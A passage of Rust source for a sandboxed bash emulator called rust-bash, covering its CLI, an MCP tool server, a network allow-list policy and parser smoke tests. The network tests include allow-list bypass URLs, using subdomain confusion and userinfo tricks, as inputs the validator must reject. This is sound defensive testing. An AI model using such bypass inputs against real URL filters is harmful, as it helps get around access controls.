shell.exec(source) {\n        Ok(result) => output_result(&result, json_mode),\n        Err(e) => {\n            eprintln!(\"rust-bash: {e}\");\n            ExitCode::from(2)\n        }\n    }\n}\n\n/// Format an `ExecResult` as JSON or plain text, returning the appropriate exit code.\nfn output_result(result: &ExecResult, json_mode: bool) -> ExitCode {\n    if json_mode {\n        let obj = json!({\n            \"stdout\": result.stdout,\n            \"stderr\": result.stderr,\n            \"exit_code\": result.exit_code,\n        });\n        println!(\"{obj}\");\n    } else {\n        if !result.stdout.is_empty() {\n            print!(\"{}\", result.stdout);\n        }\n        if !result.stderr.is_empty() {\n            eprint!(\"{}\", result.stderr);\n        }\n    }\n    ExitCode::from((result.exit_code & 0xFF) as u8)\n}\n\n/// Recursively load all files from a host directory into a map keyed by VFS paths.\nfn load_host_dir(dir: &Path, prefix: &str) -> HashMap<String, Vec<u8>> {\n    let mut files = HashMap::new();\n    if let Ok(entries) = std::fs::read_dir(dir) {\n        for entry in entries.flatten() {\n            let path = entry.path();\n            let name = format!(\"{prefix}/{}\", entry.file_name().to_string_lossy());\n            if path.is_file() {\n                if let Ok(data) = std::fs::read(&path) {\n                    files.insert(name, data);\n                }\n            } else if path.is_dir() {\n                files.extend(load_host_dir(&path, &name));\n            }\n        }\n    }\n    files\n}\n\n/// Parse `--files` mappings into a VFS file map.\nfn parse_file_mappings(mappings: &[String]) -> Result<HashMap<String, Vec<u8>>, (String, u8)> {\n    let mut files = HashMap::new();\n    for mapping in mappings {\n        if let Some((host_path, vfs_path)) = mapping.split_once(':') {\n            let vfs_path = vfs_path.trim_end_matches('/');\n            let vfs_path = if vfs_path.is_empty() { \"/\" } else { vfs_path };\n            let path = Path::new(host_path);\n            if !path.exists() {\n                return Err((format!(\"rust-bash: path not found: {host_path}\"), 2));\n            }\n            if path.is_file() {\n                let data = std::fs::read(path)\n                    .map_err(|e| (format!(\"rust-bash: error reading {host_path}: {e}\"), 2))?;\n                files.insert(vfs_path.to_string(), data);\n            } else if path.is_dir() {\n                files.extend(load_host_dir(path, vfs_path));\n            } else {\n                return Err((\n                    format!(\"rust-bash: not a file or directory: {host_path}\"),\n                    2,\n                ));\n            }\n        } else {\n            let path = Path::new(mapping.as_str());\n            if !path.exists() {\n                return Err((format!(\"rust-bash: path not found: {mapping}\"), 2));\n            }\n            if !path.is_dir() {\n                return Err((format!(\"rust-bash: not a file or directory: {mapping}\"), 2));\n            }\n            files.extend(load_host_dir(path, \"\"));\n        }\n    }\n    Ok(files)\n}\n\n/// Parse `--env` values and merge with defaults.\nfn parse_env(env_args: &[String], cwd: &str) -> Result<HashMap<String, String>, (String, u8)> {\n    let mut env = HashMap::new();\n    env.insert(\"HOME\".to_string(), \"/home\".to_string());\n    env.insert(\"USER\".to_string(), \"user\".to_string());\n    env.insert(\"PWD\".to_string(), cwd.to_string());\n\n    for val in env_args {\n        if let Some((key, value)) = val.split_once('=') {\n            if key.is_empty() {\n                return Err((\n                    format!(\"rust-bash: invalid --env format, empty key: {val}\"),\n                    2,\n                ));\n            }\n            env.insert(key.to_string(), value.to_string());\n        } else {\n            return Err((\n                format!(\"rust-bash: invalid --env format, expected KEY=VALUE: {val}\"),\n                2,\n            ));\n        }\n    }\n    Ok(env)\n}\n\nfn run(cli: Cli) -> ExitCode {\n    // MCP server mode — enter JSON-RPC stdio loop\n    if cli.mcp {\n        match rust_bash::mcp::run_mcp_server() {\n            Ok(()) => return ExitCode::SUCCESS,\n            Err(e) => {\n                eprintln!(\"rust-bash: MCP server error: {e}\");\n                return ExitCode::from(1);\n            }\n        }\n    }\n\n    let files = match parse_file_mappings(&cli.file_mappings) {\n        Ok(f) => f,\n        Err((msg, code)) => {\n            eprintln!(\"{msg}\");\n            return ExitCode::from(code);\n        }\n    };\n\n    let cwd = cli.cwd.as_deref().unwrap_or(\"/\");\n\n    let env = match parse_env(&cli.env, cwd) {\n        Ok(e) => e,\n        Err((msg, code)) => {\n            eprintln!(\"{msg}\");\n            return ExitCode::from(code);\n        }\n    };\n\n    let builder = RustBashBuilder::new().files(files).env(env).cwd(cwd);\n    let mut shell = match builder.build() {\n        Ok(s) => s,\n        Err(e) => {\n            eprintln!(\"rust-bash: failed to initialize: {e}\");\n            return ExitCode::from(2);\n        }\n    };\n\n    // Mode dispatch: -c > script file > stdin > REPL\n    if let Some(cmd) = &cli.command {\n        // TODO: bash sets $0 from args[0] and $1.. from args[1..] when -c is combined with positional args\n        return execute_and_output(&mut shell, cmd, cli.json);\n    }\n\n    if !cli.args.is_empty() {\n        let script_path = &cli.args[0];\n        let source = match std::fs::read_to_string(script_path) {\n            Ok(s) => s,\n            Err(e) => {\n                eprintln!(\"rust-bash: {script_path}: {e}\");\n                return ExitCode::from(2);\n            }\n        };\n\n        shell.set_shell_name(script_path.clone());\n        shell.set_positional_params(cli.args[1..].to_vec());\n\n        return execute_and_output(&mut shell, &source, cli.json);\n    }\n\n    if !std::io::stdin().is_terminal() {\n        let source = match std::io::read_to_string(std::io::stdin()) {\n            Ok(s) => s,\n            Err(e) => {\n                eprintln!(\"rust-bash: error reading stdin: {e}\");\n                return ExitCode::from(2);\n            }\n        };\n        return execute_and_output(&mut shell, &source, cli.json);\n    }\n\n    // REPL mode\n    if cli.json {\n        eprintln!(\"rust-bash: --json is not supported in interactive mode\");\n        return ExitCode::from(2);\n    }\n\n    let config = Config::builder()\n        .completion_type(CompletionType::List)\n        .build();\n    let mut rl: Editor<ShellHelper, rustyline::history::DefaultHistory> =\n        Editor::with_config(config).expect(\"failed to create readline editor\");\n\n    let mut command_names: Vec<String> = shell\n        .command_names()\n        .iter()\n        .map(|s| s.to_string())\n        .collect();\n    command_names.sort();\n    rl.set_helper(Some(ShellHelper {\n        commands: command_names,\n        last_exit: 0,\n    }));\n\n    if let Some(ref hpath) = history_path() {\n        let _ = rl.load_history(hpath);\n    }\n\n    let mut last_exit: i32 = 0;\n\n    loop {\n        let prompt = make_prompt(shell.cwd());\n        match rl.readline(&prompt) {\n            Ok(line) => {\n                let trimmed = line.trim();\n                if trimmed.is_empty() {\n                    continue;\n                }\n\n                let _ = rl.add_history_entry(&line);\n\n                last_exit = match shell.exec(trimmed) {\n                    Ok(result) => {\n                        if !result.stdout.is_empty() {\n                            print!(\"{}\", result.stdout);\n                        }\n                        if !result.stderr.is_empty() {\n                            eprint!(\"{}\", result.stderr);\n                        }\n                        result.exit_code\n                    }\n                    Err(e) => {\n                        eprintln!(\"rust-bash: {e}\");\n                        1\n                    }\n                };\n\n                if let Some(h) = rl.helper_mut() {\n                    h.last_exit = last_exit;\n                }\n\n                if shell.should_exit() {\n                    break;\n                }\n            }\n            Err(ReadlineError::Interrupted) => {\n                println!(\"^C\");\n            }\n            Err(ReadlineError::Eof) => {\n                break;\n            }\n            Err(e) => {\n                eprintln!(\"rust-bash: readline error: {e}\");\n                break;\n            }\n        }\n    }\n\n    if let Some(ref hpath) = history_path() {\n        let _ = rl.save_history(hpath);\n    }\n\n    ExitCode::from((last_exit & 0xFF) as u8)\n}\n\nfn main() -> ExitCode {\n    let cli = Cli::parse();\n    run(cli)\n}\n","/home/user/src/mcp.rs":"//! MCP (Model Context Protocol) server over stdio.\n//!\n//! Implements the minimal MCP subset: `initialize`, `tools/list`, `tools/call`,\n//! and `notifications/initialized`. Communicates via newline-delimited JSON-RPC\n//! over stdin/stdout.\n\nuse crate::{RustBash, RustBashBuilder};\nuse serde_json::{Value, json};\nuse std::collections::HashMap;\nuse std::io::{self, BufRead, Write};\n\nconst MAX_OUTPUT_LEN: usize = 100_000;\n\n/// Run the MCP server loop, reading JSON-RPC messages from stdin and writing\n/// responses to stdout. Each line is one JSON-RPC message.\npub fn run_mcp_server() -> Result<(), Box<dyn std::error::Error>> {\n    let builder = RustBashBuilder::new()\n        .env(HashMap::from([\n            (\"HOME\".to_string(), \"/home\".to_string()),\n            (\"USER\".to_string(), \"user\".to_string()),\n            (\"PWD\".to_string(), \"/\".to_string()),\n        ]))\n        .cwd(\"/\");\n    let mut shell = builder.build()?;\n\n    let stdin = io::stdin();\n    let stdout = io::stdout();\n    let mut stdout = stdout.lock();\n\n    for line in stdin.lock().lines() {\n        let line = line?;\n        let trimmed = line.trim();\n        if trimmed.is_empty() {\n            continue;\n        }\n\n        let request: Value = match serde_json::from_str(trimmed) {\n            Ok(v) => v,\n            Err(e) => {\n                let error_response = json!({\n                    \"jsonrpc\": \"2.0\",\n                    \"id\": null,\n                    \"error\": {\n                        \"code\": -32700,\n                        \"message\": format!(\"Parse error: {e}\")\n                    }\n                });\n                write_response(&mut stdout, &error_response)?;\n                continue;\n            }\n        };\n\n        if let Some(response) = handle_message(&mut shell, &request) {\n            write_response(&mut stdout, &response)?;\n        }\n        // Notifications (no \"id\") that we don't respond to just get dropped\n    }\n\n    Ok(())\n}\n\nfn write_response(stdout: &mut impl Write, response: &Value) -> io::Result<()> {\n    let serialized = serde_json::to_string(response).expect(\"JSON serialization should not fail\");\n    writeln!(stdout, \"{serialized}\")?;\n    stdout.flush()\n}\n\nfn handle_message(shell: &mut RustBash, request: &Value) -> Option<Value> {\n    let id = request.get(\"id\");\n\n    // Notifications have no \"id\" — we don't respond to them\n    if id.is_none() || id == Some(&Value::Null) {\n        return None;\n    }\n\n    let id = id.unwrap().clone();\n\n    let method = match request.get(\"method\").and_then(|v| v.as_str()) {\n        Some(m) => m,\n        None => {\n            return Some(json!({\n                \"jsonrpc\": \"2.0\",\n                \"id\": id,\n                \"error\": {\n                    \"code\": -32600,\n                    \"message\": \"Invalid Request: missing or non-string method\"\n                }\n            }));\n        }\n    };\n\n    let result = match method {\n        \"initialize\" => handle_initialize(),\n        \"tools/list\" => handle_tools_list(),\n        \"tools/call\" => handle_tools_call(shell, request.get(\"params\")),\n        _ => {\n            return Some(json!({\n                \"jsonrpc\": \"2.0\",\n                \"id\": id,\n                \"error\": {\n                    \"code\": -32601,\n                    \"message\": format!(\"Method not found: {method}\")\n                }\n            }));\n        }\n    };\n\n    match result {\n        Ok(value) => Some(json!({\n            \"jsonrpc\": \"2.0\",\n            \"id\": id,\n            \"result\": value\n        })),\n        Err(e) => Some(json!({\n            \"jsonrpc\": \"2.0\",\n            \"id\": id,\n            \"error\": {\n                \"code\": -32603,\n                \"message\": e\n            }\n        })),\n    }\n}\n\nfn handle_initialize() -> Result<Value, String> {\n    Ok(json!({\n        \"protocolVersion\": \"2024-11-05\",\n        \"capabilities\": {\n            \"tools\": {}\n        },\n        \"serverInfo\": {\n            \"name\": \"rust-bash\",\n            \"version\": env!(\"CARGO_PKG_VERSION\")\n        }\n    }))\n}\n\nfn handle_tools_list() -> Result<Value, String> {\n    Ok(json!({\n        \"tools\": [\n            {\n                \"name\": \"bash\",\n                \"description\": \"Execute bash commands in a sandboxed environment with an in-memory virtual filesystem. Supports standard Unix utilities including grep, sed, awk, jq, cat, echo, and more. All file operations are isolated within the sandbox. State persists between calls.\",\n                \"inputSchema\": {\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"command\": {\n                            \"type\": \"string\",\n                            \"description\": \"The bash command to execute\"\n                        }\n                    },\n                    \"required\": [\"command\"]\n                }\n            },\n            {\n                \"name\": \"write_file\",\n                \"description\": \"Write content to a file in the sandboxed virtual filesystem. Creates parent directories automatically.\",\n                \"inputSchema\": {\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"path\": {\n                            \"type\": \"string\",\n                            \"description\": \"The absolute path to write to\"\n                        },\n                        \"content\": {\n                            \"type\": \"string\",\n                            \"description\": \"The content to write\"\n                        }\n                    },\n                    \"required\": [\"path\", \"content\"]\n                }\n            },\n            {\n                \"name\": \"read_file\",\n                \"description\": \"Read the contents of a file from the sandboxed virtual filesystem.\",\n                \"inputSchema\": {\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"path\": {\n                            \"type\": \"string\",\n                            \"description\": \"The absolute path to read\"\n                        }\n                    },\n                    \"required\": [\"path\"]\n                }\n            },\n            {\n                \"name\": \"list_directory\",\n                \"description\": \"List the contents of a directory in the sandboxed virtual filesystem.\",\n                \"inputSchema\": {\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"path\": {\n                            \"type\": \"string\",\n                            \"description\": \"The absolute path of the directory to list\"\n                        }\n                    },\n                    \"required\": [\"path\"]\n                }\n            }\n        ]\n    }))\n}\n\nfn truncate_output(s: &str) -> String {\n    if s.len() <= MAX_OUTPUT_LEN {\n        return s.to_string();\n    }\n    // Find a valid UTF-8 char boundary at or before MAX_OUTPUT_LEN\n    let mut end = MAX_OUTPUT_LEN;\n    while end > 0 && !s.is_char_boundary(end) {\n        end -= 1;\n    }\n    format!(\"{}\\n... (truncated, {} total chars)\", &s[..end], s.len())\n}\n\nfn handle_tools_call(shell: &mut RustBash, params: Option<&Value>) -> Result<Value, String> {\n    let params = params.ok_or(\"Missing params\")?;\n    let tool_name = params\n        .get(\"name\")\n        .and_then(|v| v.as_str())\n        .ok_or(\"Missing tool name\")?;\n    let empty_obj = Value::Object(Default::default());\n    let arguments = params.get(\"arguments\").unwrap_or(&empty_obj);\n\n    match tool_name {\n        \"bash\" => {\n            let command = arguments\n                .get(\"command\")\n                .and_then(|v| v.as_str())\n                .ok_or(\"Missing 'command' argument\")?;\n\n            match shell.exec(command) {\n                Ok(result) => {\n                    let stdout = truncate_output(&result.stdout);\n                    let stderr = truncate_output(&result.stderr);\n                    let text = format!(\n                        \"stdout:\\n{stdout}\\nstderr:\\n{stderr}\\nexit_code: {}\",\n                        result.exit_code\n                    );\n                    let is_error = result.exit_code != 0;\n                    Ok(json!({\n                        \"content\": [{ \"type\": \"text\", \"text\": text }],\n                        \"isError\": is_error\n                    }))\n                }\n                Err(e) => Ok(json!({\n                    \"content\": [{ \"type\": \"text\", \"text\": format!(\"Error: {e}\") }],\n                    \"isError\": true\n                })),\n            }\n        }\n        \"write_file\" => {\n            let path = arguments\n                .get(\"path\")\n                .and_then(|v| v.as_str())\n                .ok_or(\"Missing 'path' argument\")?;\n            let content = arguments\n                .get(\"content\")\n                .and_then(|v| v.as_str())\n                .ok_or(\"Missing 'content' argument\")?;\n\n            match shell.write_file(path, content.as_bytes()) {\n                Ok(()) => Ok(json!({\n                    \"content\": [{ \"type\": \"text\", \"text\": format!(\"Written {path}\") }]\n                })),\n                Err(e) => Ok(json!({\n                    \"content\": [{ \"type\": \"text\", \"text\": format!(\"Error: {e}\") }],\n                    \"isError\": true\n                })),\n            }\n        }\n        \"read_file\" => {\n            let path = arguments\n                .get(\"path\")\n                .and_then(|v| v.as_str())\n                .ok_or(\"Missing 'path' argument\")?;\n\n            match shell.read_file(path) {\n                Ok(bytes) => {\n                    let text = String::from_utf8_lossy(&bytes).into_owned();\n                    Ok(json!({\n                        \"content\": [{ \"type\": \"text\", \"text\": text }]\n                    }))\n                }\n                Err(e) => Ok(json!({\n                    \"content\": [{ \"type\": \"text\", \"text\": format!(\"Error: {e}\") }],\n                    \"isError\": true\n                })),\n            }\n        }\n        \"list_directory\" => {\n            let path = arguments\n                .get(\"path\")\n                .and_then(|v| v.as_str())\n                .ok_or(\"Missing 'path' argument\")?;\n\n            match shell.readdir(path) {\n                Ok(entries) => {\n                    let listing: Vec<String> = entries\n                        .iter()\n                        .map(|e| {\n                            let suffix = match e.node_type {\n                                crate::vfs::NodeType::Directory => \"/\",\n                                _ => \"\",\n                            };\n                            format!(\"{}{suffix}\", e.name)\n                        })\n                        .collect();\n                    let text = listing.join(\"\\n\");\n                    Ok(json!({\n                        \"content\": [{ \"type\": \"text\", \"text\": text }]\n                    }))\n                }\n                Err(e) => Ok(json!({\n                    \"content\": [{ \"type\": \"text\", \"text\": format!(\"Error: {e}\") }],\n                    \"isError\": true\n                })),\n            }\n        }\n        _ => Err(format!(\"Unknown tool: {tool_name}\")),\n    }\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n\n    #[test]\n    fn test_initialize_response() {\n        let result = handle_initialize().unwrap();\n        assert_eq!(result[\"protocolVersion\"], \"2024-11-05\");\n        assert!(result[\"serverInfo\"][\"name\"].as_str().unwrap() == \"rust-bash\");\n        assert!(result[\"capabilities\"][\"tools\"].is_object());\n    }\n\n    #[test]\n    fn test_tools_list_returns_four_tools() {\n        let result = handle_tools_list().unwrap();\n        let tools = result[\"tools\"].as_array().unwrap();\n        assert_eq!(tools.len(), 4);\n\n        let names: Vec<&str> = tools.iter().map(|t| t[\"name\"].as_str().unwrap()).collect();\n        assert!(names.contains(&\"bash\"));\n        assert!(names.contains(&\"write_file\"));\n        assert!(names.contains(&\"read_file\"));\n        assert!(names.contains(&\"list_directory\"));\n    }\n\n    #[test]\n    fn test_tools_list_schemas_have_required_fields() {\n        let result = handle_tools_list().unwrap();\n        let tools = result[\"tools\"].as_array().unwrap();\n        for tool in tools {\n            assert!(tool[\"name\"].is_string());\n            assert!(tool[\"description\"].is_string());\n            assert!(tool[\"inputSchema\"][\"type\"].as_str().unwrap() == \"object\");\n            assert!(tool[\"inputSchema\"][\"properties\"].is_object());\n            assert!(tool[\"inputSchema\"][\"required\"].is_array());\n        }\n    }\n\n    fn create_test_shell() -> RustBash {\n        RustBashBuilder::new()\n            .cwd(\"/\")\n            .env(HashMap::from([\n                (\"HOME\".to_string(), \"/home\".to_string()),\n                (\"USER\".to_string(), \"user\".to_string()),\n            ]))\n            .build()\n            .unwrap()\n    }\n\n    #[test]\n    fn test_bash_tool_call() {\n        let mut shell = create_test_shell();\n        let params = json!({\n            \"name\": \"bash\",\n            \"arguments\": { \"command\": \"echo hello\" }\n        });\n        let result = handle_tools_call(&mut shell, Some(&params)).unwrap();\n        let text = result[\"content\"][0][\"text\"].as_str().unwrap();\n        assert!(text.contains(\"hello\"));\n        assert!(text.contains(\"exit_code: 0\"));\n    }\n\n    #[test]\n    fn test_write_and_read_file_tool() {\n        let mut shell = create_test_shell();\n\n        // Write a file\n        let write_params = json!({\n            \"name\": \"write_file\",\n            \"arguments\": { \"path\": \"/test.txt\", \"content\": \"test content\" }\n        });\n        let result = handle_tools_call(&mut shell, Some(&write_params)).unwrap();\n        let text = result[\"content\"][0][\"text\"].as_str().unwrap();\n        assert!(text.contains(\"Written\"));\n\n        // Read it back\n        let read_params = json!({\n            \"name\": \"read_file\",\n            \"arguments\": { \"path\": \"/test.txt\" }\n        });\n        let result = handle_tools_call(&mut shell, Some(&read_params)).unwrap();\n        let text = result[\"content\"][0][\"text\"].as_str().unwrap();\n        assert_eq!(text, \"test content\");\n    }\n\n    #[test]\n    fn test_list_directory_tool() {\n        let mut shell = create_test_shell();\n\n        // Create a file first\n        shell.write_file(\"/mydir/a.txt\", b\"a\").unwrap();\n        shell.write_file(\"/mydir/b.txt\", b\"b\").unwrap();\n\n        let params = json!({\n            \"name\": \"list_directory\",\n            \"arguments\": { \"path\": \"/mydir\" }\n        });\n        let result = handle_tools_call(&mut shell, Some(&params)).unwrap();\n        let text = result[\"content\"][0][\"text\"].as_str().unwrap();\n        assert!(text.contains(\"a.txt\"));\n        assert!(text.contains(\"b.txt\"));\n    }\n\n    #[test]\n    fn test_read_nonexistent_file_returns_error() {\n        let mut shell = create_test_shell();\n        let params = json!({\n            \"name\": \"read_file\",\n            \"arguments\": { \"path\": \"/nonexistent.txt\" }\n        });\n        let result = handle_tools_call(&mut shell, Some(&params)).unwrap();\n        assert_eq!(result[\"isError\"], true);\n    }\n\n    #[test]\n    fn test_unknown_tool_returns_error() {\n        let mut shell = create_test_shell();\n        let params = json!({\n            \"name\": \"unknown_tool\",\n            \"arguments\": {}\n        });\n        let result = handle_tools_call(&mut shell, Some(&params));\n        assert!(result.is_err());\n    }\n\n    #[test]\n    fn test_handle_message_initialize() {\n        let mut shell = create_test_shell();\n        let request = json!({\n            \"jsonrpc\": \"2.0\",\n            \"id\": 1,\n            \"method\": \"initialize\",\n            \"params\": {}\n        });\n        let response = handle_message(&mut shell, &request).unwrap();\n        assert_eq!(response[\"id\"], 1);\n        assert!(response[\"result\"][\"serverInfo\"].is_object());\n    }\n\n    #[test]\n    fn test_handle_message_notification_returns_none() {\n        let mut shell = create_test_shell();\n        let request = json!({\n            \"jsonrpc\": \"2.0\",\n            \"method\": \"notifications/initialized\"\n        });\n        let response = handle_message(&mut shell, &request);\n        assert!(response.is_none());\n    }\n\n    #[test]\n    fn test_handle_message_unknown_method() {\n        let mut shell = create_test_shell();\n        let request = json!({\n            \"jsonrpc\": \"2.0\",\n            \"id\": 5,\n            \"method\": \"unknown/method\",\n            \"params\": {}\n        });\n        let response = handle_message(&mut shell, &request).unwrap();\n        assert!(response[\"error\"][\"code\"].as_i64().unwrap() == -32601);\n    }\n\n    #[test]\n    fn test_bash_error_command_returns_is_error() {\n        let mut shell = create_test_shell();\n        let params = json!({\n            \"name\": \"bash\",\n            \"arguments\": { \"command\": \"cat /nonexistent_file_404\" }\n        });\n        let result = handle_tools_call(&mut shell, Some(&params)).unwrap();\n        assert_eq!(result[\"isError\"], true);\n    }\n\n    #[test]\n    fn test_stateful_session() {\n        let mut shell = create_test_shell();\n\n        // Set a variable\n        let params1 = json!({\n            \"name\": \"bash\",\n            \"arguments\": { \"command\": \"export MY_VAR=hello123\" }\n        });\n        handle_tools_call(&mut shell, Some(&params1)).unwrap();\n\n        // Read it back\n        let params2 = json!({\n            \"name\": \"bash\",\n            \"arguments\": { \"command\": \"echo $MY_VAR\" }\n        });\n        let result = handle_tools_call(&mut shell, Some(&params2)).unwrap();\n        let text = result[\"content\"][0][\"text\"].as_str().unwrap();\n        assert!(text.contains(\"hello123\"));\n    }\n\n    #[test]\n    fn test_handle_message_missing_method_with_id() {\n        let mut shell = create_test_shell();\n        let request = json!({\n            \"jsonrpc\": \"2.0\",\n            \"id\": 7\n        });\n        let response = handle_message(&mut shell, &request).unwrap();\n        assert_eq!(response[\"error\"][\"code\"], -32600);\n    }\n\n    #[test]\n    fn test_handle_message_non_string_method_with_id() {\n        let mut shell = create_test_shell();\n        let request = json!({\n            \"jsonrpc\": \"2.0\",\n            \"id\": 8,\n            \"method\": 42\n        });\n        let response = handle_message(&mut shell, &request).unwrap();\n        assert_eq!(response[\"error\"][\"code\"], -32600);\n    }\n\n    #[test]\n    fn test_truncate_output_short() {\n        let s = \"hello world\";\n        assert_eq!(truncate_output(s), s);\n    }\n\n    #[test]\n    fn test_truncate_output_long() {\n        let s = \"x\".repeat(MAX_OUTPUT_LEN + 100);\n        let result = truncate_output(&s);\n        assert!(result.len() < s.len());\n        assert!(result.contains(\"truncated\"));\n    }\n}\n","/home/user/src/network.rs":"use std::collections::HashSet;\nuse std::time::Duration;\n\n/// Policy controlling network access for commands like `curl`.\n///\n/// Disabled by default — scripts have no network access unless the embedder\n/// explicitly enables it and configures an allow-list.\n///\n/// To allow all URLs, set `allowed_url_prefixes` to `vec![\"http://\".into(), \"https://\".into()]`.\n/// Wildcards are not supported — the policy uses prefix matching.\n#[derive(Clone, Debug)]\npub struct NetworkPolicy {\n    pub enabled: bool,\n    pub allowed_url_prefixes: Vec<String>,\n    pub allowed_methods: HashSet<String>,\n    pub max_redirects: usize,\n    pub max_response_size: usize,\n    pub timeout: Duration,\n}\n\nimpl Default for NetworkPolicy {\n    fn default() -> Self {\n        Self {\n            enabled: false,\n            allowed_url_prefixes: Vec::new(),\n            allowed_methods: HashSet::from([\"GET\".to_string(), \"POST\".to_string()]),\n            max_redirects: 5,\n            max_response_size: 10 * 1024 * 1024, // 10 MB\n            timeout: Duration::from_secs(30),\n        }\n    }\n}\n\nimpl NetworkPolicy {\n    /// Validate that `url` matches at least one entry in `allowed_url_prefixes`.\n    ///\n    /// The raw URL is first parsed and re-serialized via `url::Url` to\n    /// normalize it (resolve default ports, percent-encoding, etc.), and then\n    /// each allowed prefix is checked with a simple `starts_with`.\n    /// Prefixes are also normalized via `url::Url` when possible to prevent\n    /// subdomain confusion attacks (e.g. a prefix of `\"https://api.example.com\"`\n    /// without a trailing slash would otherwise match `\"https://api.example.com.evil.com/\"`).\n    pub fn validate_url(&self, url: &str) -> Result<(), String> {\n        let parsed = url::Url::parse(url).map_err(|e| format!(\"invalid URL '{url}': {e}\"))?;\n        let normalized = parsed.as_str();\n\n        for prefix in &self.allowed_url_prefixes {\n            let norm_prefix = url::Url::parse(prefix)\n                .map(|u| u.to_string())\n                .unwrap_or_else(|_| prefix.clone());\n            if normalized.starts_with(&norm_prefix) {\n                return Ok(());\n            }\n        }\n\n        Err(format!(\"URL not allowed by network policy: {normalized}\"))\n    }\n\n    /// Validate that `method` is in the set of allowed HTTP methods.\n    pub fn validate_method(&self, method: &str) -> Result<(), String> {\n        let upper = method.to_uppercase();\n        if self.allowed_methods.contains(&upper) {\n            Ok(())\n        } else {\n            Err(format!(\n                \"HTTP method not allowed by network policy: {upper}\"\n            ))\n        }\n    }\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n\n    #[test]\n    fn default_is_disabled() {\n        let policy = NetworkPolicy::default();\n        assert!(!policy.enabled);\n    }\n\n    #[test]\n    fn default_allows_get_and_post() {\n        let policy = NetworkPolicy::default();\n        assert!(policy.allowed_methods.contains(\"GET\"));\n        assert!(policy.allowed_methods.contains(\"POST\"));\n        assert!(!policy.allowed_methods.contains(\"DELETE\"));\n    }\n\n    #[test]\n    fn validate_url_matches_prefix() {\n        let policy = NetworkPolicy {\n            allowed_url_prefixes: vec![\"https://api.example.com/\".to_string()],\n            ..Default::default()\n        };\n        assert!(\n            policy\n                .validate_url(\"https://api.example.com/v1/data\")\n                .is_ok()\n        );\n        assert!(\n            policy\n                .validate_url(\"https://api.example.com/users?id=1\")\n                .is_ok()\n        );\n    }\n\n    #[test]\n    fn validate_url_rejects_different_domain() {\n        let policy = NetworkPolicy {\n            allowed_url_prefixes: vec![\"https://api.example.com/\".to_string()],\n            ..Default::default()\n        };\n        assert!(\n            policy\n                .validate_url(\"https://api.example.com.evil.org/\")\n                .is_err()\n        );\n    }\n\n    #[test]\n    fn validate_url_rejects_different_scheme() {\n        let policy = NetworkPolicy {\n            allowed_url_prefixes: vec![\"https://api.example.com/\".to_string()],\n            ..Default::default()\n        };\n        assert!(policy.validate_url(\"http://api.example.com/\").is_err());\n    }\n\n    #[test]\n    fn validate_url_rejects_subdomain_without_trailing_slash() {\n        let policy = NetworkPolicy {\n            allowed_url_prefixes: vec![\"https://api.example.com\".to_string()],\n            ..Default::default()\n        };\n        // Must NOT match evil subdomain even without trailing slash in prefix\n        assert!(\n            policy\n                .validate_url(\"https://api.example.com.evil.com/\")\n                .is_err()\n        );\n        // But the intended domain should still work\n        assert!(\n            policy\n                .validate_url(\"https://api.example.com/v1/data\")\n                .is_ok()\n        );\n    }\n\n    #[test]\n    fn validate_url_rejects_userinfo_attack() {\n        let policy = NetworkPolicy {\n            allowed_url_prefixes: vec![\"https://api.example.com/\".to_string()],\n            ..Default::default()\n        };\n        // url::Url normalizes this so the prefix check catches it\n        assert!(\n            policy\n                .validate_url(\"https://api.example.com@evil.com/\")\n                .is_err()\n        );\n    }\n\n    #[test]\n    fn validate_url_no_prefixes_rejects_all() {\n        let policy = NetworkPolicy::default();\n        assert!(policy.validate_url(\"https://example.com/\").is_err());\n    }\n\n    #[test]\n    fn validate_url_invalid_url() {\n        let policy = NetworkPolicy::default();\n        assert!(policy.validate_url(\"not a url\").is_err());\n    }\n\n    #[test]\n    fn validate_method_allowed() {\n        let policy = NetworkPolicy::default();\n        assert!(policy.validate_method(\"GET\").is_ok());\n        assert!(policy.validate_method(\"get\").is_ok());\n        assert!(policy.validate_method(\"POST\").is_ok());\n    }\n\n    #[test]\n    fn validate_method_rejected() {\n        let policy = NetworkPolicy::default();\n        assert!(policy.validate_method(\"DELETE\").is_err());\n        assert!(policy.validate_method(\"PUT\").is_err());\n    }\n}\n","/home/user/src/parser_smoke_tests.rs":"/// Smoke tests validating the brush-parser API surface.\n///\n/// These verify that `tokenize_str`, `parse_tokens`, and `word::parse` work\n/// as expected and that the `WordPiece` variants match our guidebook assumptions.\n///\n/// **API differences from guidebook (Chapter 3)**:\n/// - `word::parse()` takes `(&str, &ParserOptions)`, not a `WordParseOptions`.\n/// - `word::parse()` returns `Vec<WordPieceWithSource>`, not `Vec<WordPiece>`.\n///   Each element has a `.piece` field containing the `WordPiece`.\n/// - The arithmetic variant is `ArithmeticExpression`, not `ArithmeticExpansion`.\n/// - `parse_tokens()` takes 2 args: `(&[Token], &ParserOptions)`.\nfn default_parser_options() -> brush_parser::ParserOptions {\n    brush_parser::ParserOptions {\n        sh_mode: false,\n        ..Default::default()\n    }\n}\n\n#[test]\nfn tokenize_simple_command() {\n    let tokens = brush_parser::tokenize_str(\"echo hello world\").unwrap();\n    assert!(!tokens.is_empty(), \"tokenize_str returned no tokens\");\n}\n\n#[test]\nfn parse_simple_command() {\n    let tokens = brush_parser::tokenize_str(\"echo hello\").unwrap();\n    let program = brush_parser::parse_tokens(&tokens, &default_parser_options()).unwrap();\n    assert!(\n        !program.complete_commands.is_empty(),\n        \"parsed program has no commands\"\n    );\n}\n\n#[test]\nfn parse_pipeline() {\n    let tokens = brush_parser::tokenize_str(\"cat file.txt | grep pattern | wc -l\").unwrap();\n    let program = brush_parser::parse_tokens(&tokens, &default_parser_options()).unwrap();\n    assert!(!program.complete_commands.is_empty());\n}\n\n#[test]\nfn parse_compound_commands() {\n    let inputs = [\n        \"if true; then echo yes; fi\",\n        \"for x in a b c; do echo $x; done\",\n        \"while true; do break; done\",\n        \"{ echo a; echo b; }\",\n        \"(echo subshell)\",\n    ];\n    let opts = default_parser_options();\n    for input in &inputs {\n        let tokens = brush_parser::tokenize_str(input).unwrap();\n        let program = brush_parser::parse_tokens(&tokens, &opts).unwrap();\n        assert!(\n            !program.complete_commands.is_empty(),\n            \"failed to parse: {input}\"\n        );\n    